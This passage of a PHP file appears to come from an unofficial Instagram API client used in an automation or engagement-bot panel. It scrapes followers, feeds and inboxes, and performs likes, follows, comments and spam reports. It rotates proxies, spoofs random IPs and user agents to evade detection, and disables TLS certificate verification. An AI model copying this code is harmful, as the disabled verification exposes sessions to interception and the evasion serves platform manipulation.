                echo "Photo not valid

";

                return;
            }


            $fileToUpload = file_get_contents($photo);

            $requestPosts = [
                '_csrftoken' => $this->token,
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id
            ];
            $requestPosts = Signatures::signData($requestPosts);

            $requestFiles = [
                "photo" => [
                    "contents" => $fileToUpload,
                    "filename" => 'profile_pic.jpg',
                    "headers"  => [
                        'Content-type: application/octet-stream',
                        'Content-Transfer-Encoding: binary'
                    ]
                ]
            ];
            $boundary     = Utils::generateMultipartBoundary();

            $index  = Utils::reorderByHashCode(array_merge($requestPosts, $requestFiles));
            $result = '';
            foreach($index as $key => $value) {
                $result .= '--' . $boundary . "
";
                if(!isset($requestFiles[$key])) {
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"';
                    $result .= "

" . $value . "
";
                } else {
                    $file = $requestFiles[$key];
                    if(isset($file['contents'])) {
                        $contents = $file['contents'];
                    } else {
                        $contents = file_get_contents($file['filepath']);
                    }
                    $result .= 'Content-Disposition: form-data; name="' . $key . '"; filename="' . $file['filename'] . "\"
";
                    foreach($file['headers'] as $headerName => $headerValue) {
                        $result .= $headerName . ': ' . $headerValue . "
";
                    }
                    $result .= "
" . $contents . "
";
                    unset($contents);
                }
            }
            $result   .= '--' . $boundary . '--';
            $postData = $result;

            $endpoint = Constants::API_URL . 'accounts/change_profile_picture/';

            $headers = [
                'Connection: close',
                'Accept: */*',
                'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                'X-IG-Connection-Speed: ' . mt_rand(1000, 3700) . 'kbps',
                'X-IG-Bandwidth-Speed-KBPS: -1.000',
                'X-IG-Bandwidth-TotalBytes-B: 0',
                'X-IG-Bandwidth-TotalTime-MS: 0',
                'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                'Accept-Language: ' . Constants::ACCEPT_LANGUAGE
            ];
            $ch      = curl_init();
            curl_setopt($ch, CURLOPT_URL, $endpoint);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->device->getUserAgent());
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_COOKIE, $this->settings->get("cookie"));
            if(Wow::get("ayar/proxyStatus") >= 2) {
                $userAsns = Utils::generateAsns($this->settings->get(INSTAWEB_ASNS_KEY));
                if($userAsns[0]) {
                    $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    curl_setopt($ch, $optionKey, $userAsns[0]);
                    if($userAsns[1]) {
                        $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        curl_setopt($ch, $optionKey, $userAsns[1]);
                    }
                }
            }
            curl_setopt($ch, CURLOPT_POST, TRUE);
            curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);

            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $upload     = json_decode(substr($resp, $header_len), TRUE, 512, JSON_BIGINT_AS_STRING);
            $this->organizeCookies($header);

            curl_close($ch);

            return $upload;
        }


        public function removeProfilePicture() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/remove_profile_picture/', $postData)[1];
        }


        public function setPrivateAccount() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/set_private/', $postData)[1];
        }


        public function setPublicAccount() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/set_public/', $postData)[1];
        }


        public function getCurrentUser() {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/current_user/?edit=true', $postData)[1];
        }


        public function editProfile($url, $phone, $first_name, $biography, $email, $gender) {
            $requestPosts = [
                '_uuid'        => $this->uuid,
                '_uid'         => $this->account_id,
                '_csrftoken'   => $this->token,
                'external_url' => $url,
                'phone_number' => $phone,
                'username'     => $this->username,
                'first_name'   => $first_name,
                'biography'    => $biography,
                'email'        => $email,
                'gender'       => $gender,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/edit_profile/', $postData)[1];
        }


        public function getRecentActivity($maxid = NULL) {
            $requestParams = [];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = !empty($requestParams) ? http_build_query(Utils::reorderByHashCode($requestParams)) : '';

            $activity = $this->request('news/inbox/' . (!empty($paramData) ? '?' . $paramData : ''))[1];


            if($activity['status'] != 'ok') {
                throw new Exception($activity['message'] . "
");

                return;
            }

            return $activity;
        }

        public function getFollowingRecentActivity($maxid = NULL) {
            $requestParams = [];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = !empty($requestParams) ? http_build_query(Utils::reorderByHashCode($requestParams)) : '';

            $activity = $this->request('news/' . (!empty($paramData) ? '?' . $paramData : ''))[1];

            if($activity['status'] != 'ok') {
                throw new Exception($activity['message'] . "
");

                return;
            }

            return $activity;
        }


        public function getV2Inbox() {
            $inbox = $this->request('direct_v2/inbox/')[1];

            if($inbox['status'] != 'ok') {
                throw new Exception($inbox['message'] . "
");

                return;
            }

            return $inbox;
        }


        public function directThread($threadId) {
            $directThread = $this->request("direct_v2/threads/$threadId/")[1];

            if($directThread['status'] != 'ok') {
                throw new Exception($directThread['message'] . "
");

                return;
            }

            return $directThread;
        }


        public function getUserTags($usernameId, $maxid = NULL) {
            $requestParams = [
                "rank_token"     => $this->rank_token,
                "ranked_content" => "true"
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $tags = $this->request("usertags/$usernameId/feed/?" . $paramData)[1];

            if($tags['status'] != 'ok') {
                throw new Exception($tags['message'] . "
");

                return;
            }

            return $tags;
        }


        public function getSelfUserTags($maxid = NULL) {
            return $this->getUserTags($this->account_id, $maxid);
        }


        public function tagFeed($tag, $maxid = NULL) {
            $requestParams = [
                "rank_token"     => $this->rank_token,
                "ranked_content" => "true"
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $userFeed = $this->request("feed/tag/$tag/?" . $paramData)[1];

            if($userFeed['status'] != 'ok') {
                throw new Exception($userFeed['message'] . "
");

                return;
            }

            return $userFeed;
        }

        public function getMediaLikers($mediaId) {
            $likers = $this->request("media/$mediaId/likers/")[1];
            if($likers['status'] != 'ok') {
                throw new Exception($likers['message'] . "
");

                return;
            }

            return $likers;
        }


        public function getGeoMedia($usernameId) {
            $locations = $this->request("maps/user/$usernameId/")[1];

            if($locations['status'] != 'ok') {
                throw new Exception($locations['message'] . "
");

                return;
            }

            return $locations;
        }


        public function getSelfGeoMedia() {
            return $this->getGeoMedia($this->account_id);
        }


        public function searchUsers($query) {
            $query         = rawurlencode($query);
            $requestParams = [
                "q"               => $query,
                "timezone_offset" => date('Z')
            ];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));


            $query = $this->request('users/search/?' . $paramData)[1];

            if($query['status'] != 'ok') {
                throw new Exception($query['message'] . "
");

                return;
            }

            return $query;
        }

        public function getUserInfoByName($username) {
            $query = $this->request("users/$username/usernameinfo/")[1];

            return $query;
        }

        public function getliveInfoByName($broadcast) {
            $query = $this->request("feed/user/$broadcast/story/")[1];

            return $query;
        }

        public function getUserInfoById($userId) {
            return $this->request("users/$userId/info/")[1];
        }

        public function getSelfUserInfo() {
            return $this->getUserInfoById($this->account_id);
        }

        public function searchTags($query) {
            $query         = rawurlencode($query);
            $requestParams = [
                "is_typeahead" => "true",
                "q"            => $query,
                "rank_token"   => $this->rank_token
            ];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));

            $query = $this->request("tags/search/?" . $paramData)[1];

            if($query['status'] != 'ok') {
                throw new Exception($query['message'] . "
");

                return;
            }

            return $query;
        }


        public function consentSend() {
            $requestPosts = [
                "_uuid"              => "true",
                "_uid"               => $this->rank_token,
                "_csrftoken"         => $this->rank_token,
                "current_screen_key" => $this->rank_token,
                "updates"            => json_encode([
                                                        'age_consent_state'             => 2,
                                                        'tos_data_policy_consent_state' => 2
                                                    ])
            ];

            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            $consent = $this->request("consent/existing_user_flow/" . $postData)[1];

            return $consent;
        }


        public function getTimelineFeed($maxid = NULL) {
            $requestParams = [
                "ranked_content" => "true",
                "rank_token"     => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));


            $timeline = $this->request("feed/timeline/?" . $paramData)[1];

            if($timeline["message"] == "challenge_required" || $timeline["message"] == "login_required") {
                return $timeline;
            } else if($timeline['status'] != 'ok') {
                throw new Exception($timeline['message'] . "
");

                return;
            }

            return $timeline;
        }


        public function getReelsTrayFeed() {
            $feed = $this->request('feed/reels_tray/')[1];

            if($feed["status"] != "ok") {
                throw new Exception($feed["message"] . "
");

                return;
            }

            return $feed;
        }


        public function getUserFeed($usernameId, $maxid = NULL, $minTimestamp = NULL) {
            $requestParams = [
                "ranked_content" => "true",
                "rank_token"     => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            if(!empty($minTimestamp)) {
                $requestParams["min_timestamp"] = $minTimestamp;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $userFeed = $this->request("feed/user/$usernameId/?" . $paramData)[1];

            return $userFeed;
        }

        public function hikayecek($usernameId) {

            $feed = $this->request("feed/user/$usernameId/story/")[1];


            if($feed["status"] != "ok") {
                throw new Exception($feed["message"] . "
");

            }

            return $feed;

        }

        public function getHashtagFeed($hashtagString, $maxid = NULL) {
            $requestParams = [
                "ranked_content" => "true",
                "rank_token"     => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $hashtagFeed = $this->request("feed/tag/" . $hashtagString . "/?" . $paramData)[1];

            if($hashtagFeed['status'] != 'ok') {
                throw new Exception($hashtagFeed['message'] . "
");

                return;
            }

            return $hashtagFeed;
        }

        public function searchLocation($query) {
            $query = rawurlencode($query);

            $requestParams = [
                "query"      => $query,
                "rank_token" => $this->rank_token
            ];

            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $locationFeed = $this->request("fbsearch/places/?" . $paramData)[1];

            if($locationFeed['status'] != 'ok') {
                throw new Exception($locationFeed['message'] . "
");

                return;
            }

            return $locationFeed;
        }


        public function getLocationFeed($locationId, $maxid = NULL) {
            $requestParams = [
                "ranked_content" => "true",
                "rank_token"     => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            $locationFeed = $this->request("feed/location/" . $locationId . "/?" . $paramData)[1];

            if($locationFeed['status'] != 'ok') {
                throw new Exception($locationFeed['message'] . "
");

                return;
            }

            return $locationFeed;
        }


        public function getSelfUserFeed($maxid = NULL, $minTimestamp = NULL) {
            return $this->getUserFeed($this->account_id, $maxid, $minTimestamp);
        }


        public function getRankedRecipients($type = FALSE) {
            $requestParams = [
                "mode"              => "raven",
                "use_unified_inbox" => "true",
                "show_threads"      => "true"
            ];
            $paramData     = http_build_query(Utils::reorderByHashCode($requestParams));

            if($type) {
                return $this->request('direct_v2/ranked_recipients/?' . $paramData)[1];
            } else {
                $ranked_recipients = $this->request('direct_v2/ranked_recipients/?' . $paramData)[1];

                if($ranked_recipients["status"] != "ok") {
                    throw new Exception($ranked_recipients["message"] . "
");

                    return;
                }

                return $ranked_recipients;
            }


        }


        public function getRecentRecipients() {
            $recent_recipients = $this->request('direct_share/recent_recipients/')[1];

            if($recent_recipients["status"] != "ok") {
                throw new Exception($recent_recipients["message"] . "
");

                return;
            }

            return $recent_recipients;
        }


        public function getExplore() {
            $explore = $this->request('discover/explore/')[1];

            if($explore['status'] != 'ok') {
                throw new Exception($explore['message'] . "
");

                return;
            }

            return $explore;
        }


        public function getPopularFeed($maxid = NULL) {
            $requestParams = [
                "ranked_content"          => "true",
                "rank_token"              => $this->rank_token,
                "people_teaser_supported" => "1"
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));


            $popularFeed = $this->request("feed/popular/?" . $paramData)[1];

            if($popularFeed['status'] != 'ok') {
                throw new Exception($popularFeed['message'] . "
");

                return;
            }

            return $popularFeed;
        }

        public function getUserFollowings($usernameId, $maxid = NULL) {
            $requestParams = [
                "ig_sig_key_version" => Constants::SIG_KEY_VERSION,
                "rank_token"         => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));


            return $this->request("friendships/$usernameId/following/?" . $paramData)[1];
        }


        public function getUserFollowers($usernameId, $maxid = NULL) {
            $requestParams = [
                "ig_sig_key_version" => Constants::SIG_KEY_VERSION,
                "rank_token"         => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            return $this->request("friendships/$usernameId/followers/?" . $paramData)[1];
        }

        public function getSelfUserFollowers($maxid = NULL) {
            return $this->getUserFollowers($this->account_id, $maxid);
        }


        public function getSelfUsersFollowing($maxid = NULL) {
            $requestParams = [
                "ig_sig_key_version" => Constants::SIG_KEY_VERSION,
                "rank_token"         => $this->rank_token
            ];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = http_build_query(Utils::reorderByHashCode($requestParams));

            return $this->request("friendships/following/?" . $paramData)[1];
        }


        public function like($mediaId) {

            $requestPosts = [
                '_uuid'       => $this->uuid,
                '_uid'        => $this->account_id,
                '_csrftoken'  => $this->token,
                'media_id'    => $mediaId,
                'radio_type'  => "wifi-none",
                'module_name' => "feed_timeline",
                'd'           => rand(0, 1)
            ];
            $requestPosts = Signatures::signData($requestPosts, array("d"));
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/like/", $postData)[1];
        }

        public function mobilelike($mediaId) {

            $requestPosts = [
                '_uuid'       => $this->uuid,
                '_uid'        => $this->account_id,
                '_csrftoken'  => $this->token,
                'media_id'    => $mediaId,
                'radio_type'  => "wifi-none",
                'module_name' => "feed_timeline",
                'd'           => rand(0, 1)
            ];
            $requestPosts = Signatures::signData($requestPosts, array("d"));
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return array(
                "url"  => "media/$mediaId/like/",
                "data" => $postData
            );
        }

        public function like_comment($comment_id) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
                'comment_id' => $comment_id,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$comment_id/comment_like/", $postData)[1];
        }

        public function unlike($mediaId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
                'media_id'   => $mediaId,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("media/$mediaId/unlike/", $postData)[1];
        }


        public function getMediaComments($mediaId, $maxID = NULL) {

            $url = "media/$mediaId/comments/";

            if($maxID) {
                $url .= "?max_id=" . $maxID;
            }

            return $this->request($url)[1];
        }


        public function setNameAndPhone($name = '', $phone = '') {
            $requestPosts = [
                '_uuid'        => $this->uuid,
                '_uid'         => $this->account_id,
                'first_name'   => $name,
                'phone_number' => $phone,
                '_csrftoken'   => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request('accounts/set_phone_and_name/', $postData)[1];
        }


        public function getDirectShare() {
            return $this->request('direct_share/inbox/')[1];
        }

        public function report($userId) {

            $requestPosts = [
                'reason_id'   => 1,
                '_uuid'       => $this->uuid,
                '_uid'        => $this->account_id,
                '_csrftoken'  => $this->token,
                'user_id'     => $userId,
                'source_name' => 'profile',
                'is_spam'     => TRUE
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("users/{$userId}/flag_user/", $postData)[1];
        }


        public function follow($userId) {
            $requestPosts = array(
                "_uuid"      => $this->uuid,
                "_uid"       => $this->account_id,
                "_csrftoken" => $this->token,
                "user_id"    => $userId,
                "radio_type" => "wifi-none"
            );
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("friendships/create/" . $userId . "/", $postData)[1];
        }

        public function unfollow($userId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                '_csrftoken' => $this->token,
                'user_id'    => $userId,
                'radio_type' => 'wifi-none'
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("friendships/destroy/$userId/", $postData)[1];
        }


        public function block($userId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                'user_id'    => $userId,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("friendships/block/$userId/", $postData)[1];
        }


        public function unblock($userId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                'user_id'    => $userId,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("friendships/unblock/$userId/", $postData)[1];
        }


        public function userFriendship($userId) {
            $requestPosts = [
                '_uuid'      => $this->uuid,
                '_uid'       => $this->account_id,
                'user_id'    => $userId,
                '_csrftoken' => $this->token,
            ];
            $requestPosts = Signatures::signData($requestPosts);
            $postData     = http_build_query(Utils::reorderByHashCode($requestPosts));

            return $this->request("friendships/show/$userId/", $postData)[1];
        }


        public function getLikedMedia($maxid = NULL) {
            $requestParams = [];
            if(!empty($maxid)) {
                $requestParams["max_id"] = $maxid;
            }
            $paramData = !empty($requestParams) ? http_build_query(Utils::reorderByHashCode($requestParams)) : '';

            return $this->request('feed/liked/' . (!empty($paramData) ? '?' . $paramData : ''))[1];
        }


        function request($endpoint, $post = NULL, $login = FALSE, $notEndpoint = FALSE, $sendCode = FALSE) {

            if(!$this->isLoggedIn && !$login) {
                throw new Exception("Not logged in
");

                return;
            }

            $headers = array();
            $headers = [
                'Connection: close',
                'Accept: */*',
                'X-IG-Capabilities: ' . Constants::X_IG_Capabilities,
                'X-IG-App-ID: ' . Constants::FACEBOOK_ANALYTICS_APPLICATION_ID,
                'X-IG-Connection-Type: ' . Constants::X_IG_Connection_Type,
                'X-IG-Connection-Speed: -1kbps',
                'X-IG-Bandwidth-Speed-KBPS: -1.000',
                'X-IG-Bandwidth-TotalBytes-B: 0',
                'X-IG-Bandwidth-TotalTime-MS: 0',
                'X-FB-HTTP-Engine: ' . Constants::X_FB_HTTP_Engine,
                'Accept-Language: ' . Constants::ACCEPT_LANGUAGE,
                'X-DEVICE-ID: ' . $this->device_id,
            ];

            $ch = curl_init();
            curl_setopt($ch, CURLOPT_USERAGENT, $this->device->getUserAgent());
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, TRUE);
            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
            curl_setopt($ch, CURLOPT_VERBOSE, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
            curl_setopt($ch, CURLOPT_ENCODING, '');
            if($notEndpoint) {
                curl_setopt($ch, CURLOPT_URL, $endpoint);
            } else {
                if($login) {
                    curl_setopt($ch, CURLOPT_URL, Constants::API_URLi . $endpoint);
                } else {
                    curl_setopt($ch, CURLOPT_URL, Constants::API_URL . $endpoint);
                }
            }


            curl_setopt($ch, CURLOPT_COOKIE, $this->settings->get("cookie"));
            if(Wow::get("ayar/proxyStatus") >= 2) {
                $userAsns = Utils::generateAsns($this->settings->get(INSTAWEB_ASNS_KEY));
                if($userAsns[0]) {
                    $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_INTERFACE : CURLOPT_PROXY;
                    curl_setopt($ch, $optionKey, $userAsns[0]);
                    if($userAsns[1]) {
                        $optionKey = Wow::get("ayar/proxyStatus") == 4 ? CURLOPT_IPRESOLVE : CURLOPT_PROXYUSERPWD;
                        curl_setopt($ch, $optionKey, $userAsns[1]);
                    }
                }
            }

            if($post) {
                curl_setopt($ch, CURLOPT_POST, TRUE);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
            }

            $resp       = curl_exec($ch);
            $header_len = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $header     = substr($resp, 0, $header_len);
            $body       = substr($resp, $header_len);
            $this->organizeCookies($header);

            curl_close($ch);
//
//            $rtData = json_decode($body, TRUE);
//
//
//            if(isset($rtData["message"]) && $rtData["message"] == "checkpoint_required") {
//                $this->checkpoint_id = $rtData["checkpoint_url"];
//                $this->request($rtData["checkpoint_url"], NULL, FALSE, TRUE);
//            }
//
//            if($notEndpoint && !$sendCode) {
//                $c    = explode("/", $this->checkpoint_id);
//                $c[5] = $c[4];
//                $c[4] = "8402230796";
//
//                $this->checkpoint_id = implode("/", $c);
//                $this->request($this->checkpoint_id, "choice=1", FALSE, TRUE, TRUE);
//            }
//
//
//            if($sendCode) {
//
//                print_r($body);
//                exit();
//
//
//            }


            return [
                $header,
                json_decode($body, TRUE, 512, JSON_BIGINT_AS_STRING)
            ];
        }

        public function isValid() {
            try {
                $mIn = $this->getMediaInfo("1644818823288800567_6304564234");

                return $mIn["status"] == "ok" ? TRUE : FALSE;
            } catch(Exception $e) {
                return FALSE;
            }
        }


        public function isLoggedIn() {
            return $this->isLoggedIn;
        }

        public function organizeCookies($headers) {
            preg_match_all('/^Set-Cookie:\s*([^;]*)/mi', $headers, $matches);
            $cookies = [];
            foreach($matches[1] as $item) {
                parse_str($item, $cookie);
                $cookies = array_merge($cookies, $cookie);
            }

            if(!empty($cookies)) {
                $oldCookies    = $this->settings->get('cookie');
                $arrOldCookies = [];
                if(!empty($oldCookies)) {
                    $parseCookies = explode(";", $oldCookies);
                    foreach($parseCookies as $c) {
                        parse_str($c, $ck);
                        $arrOldCookies = array_merge($arrOldCookies, $ck);
                    }
                }
                $newCookies = array_merge($arrOldCookies, $cookies);
                $cookie_all = [];
                foreach($newCookies as $k => $v) {
                    $cookie_all[] = $k . "=" . urlencode($v);
                    if($k == 'csrftoken') {
                        $this->token = $v;
                        $this->settings->set("token", $v);
                    }
                }
                $this->settings->set("cookie", implode(";", $cookie_all));
                $this->settings->save();
            }
        }

    }

    class InstagramWeb {
        protected $username;            // Username
        protected $username_id;         // Username ID
        protected $token;               // _csrftoken
        protected $isLoggedIn = FALSE;  // Session status
        protected $IGDataPath;          // Data storage path
        /**
         * @var Settings
         */
        public $settings;

        public function __construct($username, $username_id = NULL, $forceUserIP = FALSE) {
            $username = trim($username);
            if($username_id === NULL) {
                try {
                    $userData = file_get_contents("https://www.instagram.com/" . $username . "/?__a=1");
                } catch(Exception $e) {
                    $userData = "";
                }
                $userData = json_decode($userData, TRUE);
                if(!is_array($userData) || !isset($userData["user"]["id"])) {
                    throw new Exception("Invalid username!");
                }
                $username_id = $userData["user"]["id"];
            }

            $this->setUser($username, $username_id, $forceUserIP);
        }

        public function setUser($username, $username_id, $forceUserIP = FALSE) {
            $this->username    = $username;
            $this->username_id = $username_id;
            $this->IGDataPath  = Wow::get("project/cookiePath") . "instagramv3/" . substr($this->username_id, -1) . "/";
            $this->settings    = new Settings($this->IGDataPath . $username_id . '.iwb');
            $this->checkSettings($forceUserIP);
            if($this->settings->get('token') != NULL) {
                $this->isLoggedIn  = TRUE;
                $this->username_id = $this->settings->get('username_id');
                $this->token       = $this->settings->get('token');
            } else {
                $this->isLoggedIn = FALSE;
            }
        }

        protected function checkSettings($forceUserIP = FALSE) {
            $settingsCompare = $this->settings->get("sets");
            if($this->settings->get('ip') == NULL || $forceUserIP) {
                $ipAdress = '78.' . rand(160, 191) . '.' . rand(1, 255) . '.' . rand(1, 255);
                if($forceUserIP && !empty($_SERVER["REMOTE_ADDR"])) {
                    $ipAdress = $_SERVER["REMOTE_ADDR"];
                }
                $this->settings->set('ip', $ipAdress);
            }
            if($this->settings->get('username_id') == NULL) {
                $this->settings->set('username_id', $this->username_id);
            }
            if($this->settings->get('web_user_agent') == NULL) {
                $userAgents = explode(PHP_EOL, file_get_contents(Wow::get("project/cookiePath") . "device/browsers.csv"));
                $agentIndex = rand(0, count($userAgents) - 1);
                $userAgent  = $userAgents[$agentIndex];
                $this->settings->set('web_user_agent', $userAgent);
            }
            if(INSTAWEB_MAX_ASNS > 0) {
                if($this->settings->get(INSTAWEB_ASNS_KEY) == NULL || intval($this->settings->get(INSTAWEB_ASNS_KEY)) > INSTAWEB_MAX_ASNS) {
                    $this->settings->set(INSTAWEB_ASNS_KEY, rand(1, INSTAWEB_MAX_ASNS));
                }
            }
            if($settingsCompare !== $this->settings->get("sets")) {
                $this->settings->save();
            }
        }


        function getData() {

            if($this->settings->get('web_user_agent') == NULL) {
                $userAgents = explode(PHP_EOL, file_get_contents(Wow::get("project/cookiePath") . "device/browsers.csv"));
                $agentIndex = rand(0, count($userAgents) - 1);
                $userAgent  = $userAgents[$agentIndex];
                $this->settings->set('web_user_agent', $userAgent);
            }

            return array(
                "username"        => $this->username,
                "username_id"     => $this->username_id,
                "token"           => $this->token,
                "web_user_agent"  => $this->settings->get("web_user_agent") ? $this->settings->get("web_user_agent") : "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
                "ip"              => $this->settings->get('ip'),
                "web_cookie"      => $this->settings->get('web_cookie'),
                INSTAWEB_ASNS_KEY => $this->settings->get(INSTAWEB_ASNS_KEY)
            );
        }


        public function comment($mediaId, $commentText) {
            $arrMediaID = explode("_", $mediaId);
            $mediaId    = $arrMediaID[0];
            $postData   = 'comment_text=' . $commentText;
            $headers    = array();
            $headers[]  = 'Referer: https://www.instagram.com/';
            $headers[]  = 'DNT: 1';
            $headers[]  = 'Origin: https://www.instagram.com/';
            $headers[]  = 'X-CSRFToken: ' . trim($this->token);
            $headers[]  = 'X-Requested-With: XMLHttpRequest';
            $headers[]  = 'X-Instagram-AJAX: 1';
            $headers[]  = 'Connection: close';
            $headers[]  = 'Cache-Control: max-age=0';

            return $this->request("web/comments/$mediaId/add/", $headers, $postData)[1];
        }


        public function getUsernameInfo($username) {
            $headers   = array();
            $headers[] = 'Referer: https://www.instagram.com/';
            $headers[] = 'DNT: 1';
            $headers[] = 'Origin: https://www.instagram.com/';
            $headers[] = 'X-CSRFToken: ' . trim($this->token);
            $headers[] = 'X-Requested-With: XMLHttpRequest';
            $headers[] = 'X-Instagram-AJAX: 1';
            $headers[] = 'Connection: close';
            $headers[] = 'Cache-Control: max-age=0';

            return $this->request("$username/?__a=1", $headers)[1];
        }


        public function mediaInfo($mediaCode) {
            $headers   = array();
            $headers[] = 'Referer: https://www.instagram.com/';
            $headers[] = 'DNT: 1';
            $headers[] = 'Origin: https://www.instagram.com/';
            $headers[] = 'X-CSRFToken: ' . trim($this->token);
            $headers[] = 'X-Requested-With: XMLHttpRequest';
            $headers[] = 'X-Instagram-AJAX: 1';
            $headers[] = 'Connection: close';
            $headers[] = 'Cache-Control: max-age=0';

            return $this->request("p/$mediaCode/?__a=1", $headers)[1];
        }


        public function like($mediaId) {
            $arrMediaID = explode("_", $mediaId);
            $mediaId    = $arrMediaID[0];
            $headers    = array();
